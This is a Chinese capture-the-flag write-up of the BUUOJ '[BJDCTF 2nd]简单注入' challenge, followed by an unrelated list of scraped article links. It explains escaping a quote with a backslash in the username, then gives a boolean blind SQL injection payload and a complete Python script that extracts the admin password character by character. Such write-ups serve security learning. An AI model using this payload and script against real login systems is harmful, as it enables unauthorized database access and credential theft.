解题思路

打开发现登陆框,随机输入一些,发现有waf,然后回显都是同样的字符串。fuzz一波,发现禁了挺多东西的。

select union 等

这里猜测是布尔盲注,错误的话显示的是:You konw ,P3rh4ps needs a girl friend

但是不管传入什么都回显这个,这里想是否有其他信息,我这种菜鸡还不会直接根据测试,猜测出sql语句。

robots.txt中发现hint,打开hint.php,发现sql语句。太好了

bypass sql

select * from users where username='$_POST["username"]' and password='$_POST["password"]'

这里传入的username和password都被单引号包裹,这里需要闭合单引号 ,闭合 ' $_POST["username"] and password=' 。即直接是:

'$_POST["username"] and password= '

$_POST["password"]'

这样就可以在password中传入查询语句。

在username处传入 admin\ ,

or没被禁,等于号被禁,

所以password传入or if(ascii(substr(password,1,1))>1,1,0)

爆破

第一个$符号里面的是偏移量,即确定password的每一位,第二个$符号里面的是当前password位的具体ascii码

意思是有12位,那打扰了。手动太累了,还是学写exp把

exp

import requests
import time url = "http://ba1f818e-5cd8-42c9-9be0-a48646da5351.node3.buuoj.cn/index.php"
payload = {
"username" : "admin\\",
"password" : ""
}
result = ""
for i in range(1,30):
low = 32
high =128
mid = (high+low)//2
while(low<high):
payload["password"] = "or if(ascii(substr(password,{},1))>{},1,0)#".format(i,mid)
html = requests.post(url,data=payload)
print(low,high,mid,":")
print(payload)
if "stronger" in html.text:
low = mid+1
else:
high = mid
mid = (high+low)//2
if(low == 32 or high ==128):
break
result = result + chr(mid)
print(result)
print("flag: " ,result)

我人傻了,一开始写,一直不进行下去。最后修改发现问题是我把#符号,写成%23了。导致压根没有起作用,我纳闷半天。这也是一个坑点,python脚本不需要url编码

跑出来密码了,直接账号密码登陆,获得flag

总结思路

  • 看见登陆框,两种回显,考虑布尔盲注,思考后台sql查询语句。
  • 根据sql语句,转义单引号,导致payload可以逃逸
  • 编写布尔盲注脚本

知识点

  • sql注入
  • 布尔盲注

刷题[BJDCTF 2nd]简单注入的更多相关文章

  1. [BJDCTF2020]Mark loves cat && [BJDCTF 2nd]简单注入 && [BJDCTF2020]The mystery of ip

    [BJDCTF2020]Mark loves cat 源码泄露 使用GitHack.py下载源码 下载之后对源代码进行审计 flag.php代码为: <?php $flag = file_get ...

  2. [BJDCTF 2nd]简单注入

    [BJDCTF 2nd]简单注入 hint.txt出现了内容. 大概意思和国赛一道题相同. username处注入\来转义单引号,password处使用sql语句整数型注入. 例如: 传入admin\ ...

  3. Python学习之LeetCode刷题之路——简单题【1、7、9】

    1.两数之和 给定一个整数数组 nums 和一个目标值 target,请你在该数组中找出和为目标值的那 两个 整数,并返回他们的数组下标. 你可以假设每种输入只会对应一个答案.但是,你不能重复利用这个 ...

  4. leetcode刷题--两数之和(简单)

    一.序言 第一次刷leetcode的题,之前从来没有刷题然后去面试的概念,直到临近秋招,或许是秋招结束的时候才有这个意识,原来面试是需要刷题的,面试问的问题都是千篇一律的,只要刷够了题就差不多了,当然 ...

  5. [BJDCTF 2nd]假猪套天下第一 && [BJDCTF2020]Easy MD5

    [BJDCTF 2nd]假猪套天下第一 假猪套是一个梗吗? 进入题目,是一个登录界面,输入admin的话会返回错误,登录不成功,其余用户可以正常登陆 以为是注入,简单测试了一下没有什么效果 抓包查看信 ...

  6. 刷题记录:[De1ctf] shell shell shell

    目录 刷题记录:[De1ctf] shell shell shell 一.知识点 1.源码泄露 2.正则表达式不完善导致sql注入 3.soapclient反序列化->ssrf 4.扫描内网 5 ...

  7. 刷题记录:[网鼎杯]Fakebook

    目录 刷题记录:[网鼎杯]Fakebook 一.涉及知识点 1.敏感文件泄露 2.sql注入 二.解题方法 刷题记录:[网鼎杯]Fakebook 题目复现链接:https://buuoj.cn/cha ...

  8. Buu刷题

    前言 希望自己能够更加的努力,希望通过多刷大赛题来提高自己的知识面.(ง •_•)ง easy_tornado 进入题目 看到render就感觉可能是模板注入的东西 hints.txt给出提示,可以看 ...

  9. BUUOJ Misc刷题大作战

    你竟然赶我走 随便一个txt文件都可以拿 LSB 当然还有别的,根据里面左右左右变化,在0管道有变化,然后把下面的三个0打钩,导出png,一个二维码,扫出来 乌镇峰会种图 只要会用winhex打开文件 ...

随机推荐

  1. 【小白学AI】XGBoost推导详解与牛顿法

    文章来自微信公众号:[机器学习炼丹术] 目录 1 作者前言 2 树模型概述 3 XGB vs GBDT 3.1 区别1:自带正则项 3.2 区别2:有二阶导数信息 3.3 区别3:列抽样 4 XGB为 ...

  2. 第3关-input()函数

    第3关-input()函数 一.input()函数 import time print('亲爱的同学:') time.sleep(1) print('我们愉快地通知您,您已获准在霍格沃茨魔法学校就读. ...

  3. 使用 K8s 进行作业调度实战分享

    最近在公司的数据同步项目(以下简称 ZDTP)中,需要使用到分布式调度数据同步执行单元,目前使用的方案是将数据同步执行单元打包成镜像,使用 K8s 进行调度. 在 ZDTP 中,数据同步的动作可抽象成 ...

  4. MYSQL经典练习题,熟悉DQL

    MYSQL经典练习题 (本练习题可让你熟悉DQL,快速的上手DQL) 首先,先在数据库中建立基本数据库以及表项: DROP DATABASE IF EXISTS `test`; CREATE DATA ...

  5. 夜息seo培训内部教程

    http://www.wocaoseo.com/thread-268-1-1.html 随着SEO日益正规化,在企业中推行SEO变得越来越重要,在上一文<将SEO整合入整个网站项目>中也有 ...

  6. 焦大:seo思维进化论(上)

    http://www.wocaoseo.com/thread-51-1-1.html seo排名浮动一直是很多人关心的事情,但是背后的原理却一直很少被人知道.在seo是什么里说了seo的核心是什么,我 ...

  7. 需要分析竞争对手的网站哪些SEO数据

    http://www.wocaoseo.com/thread-10-1-1.html        怎样分析竞争对手的网站?在做网站的前我们会对同行的竞争对手进行研究和分析,对判定同行的关键词竞争程度 ...

  8. Linux安装Rabbitmq3.8.5

    安装环境: 操作系统为:centOS-7 erlang版本为22.3,软件包:otp_src_22.3.tar.gz rabbitMQ版本为3.8.5,软件包:rabbitmq-server-gene ...

  9. 【转】Mac下Eclipse快捷键

    http://blog.sina.com.cn/s/blog_677089db01019jgh.html Command + O:显示大纲Command + 1:快速修复Command + D:删除当 ...

  10. jdk1.8 新增工具类

    目录 optional 时间API Instant localDateTime LocalDate LocalTime Duration TemporalAdjuster DateTimeFormat ...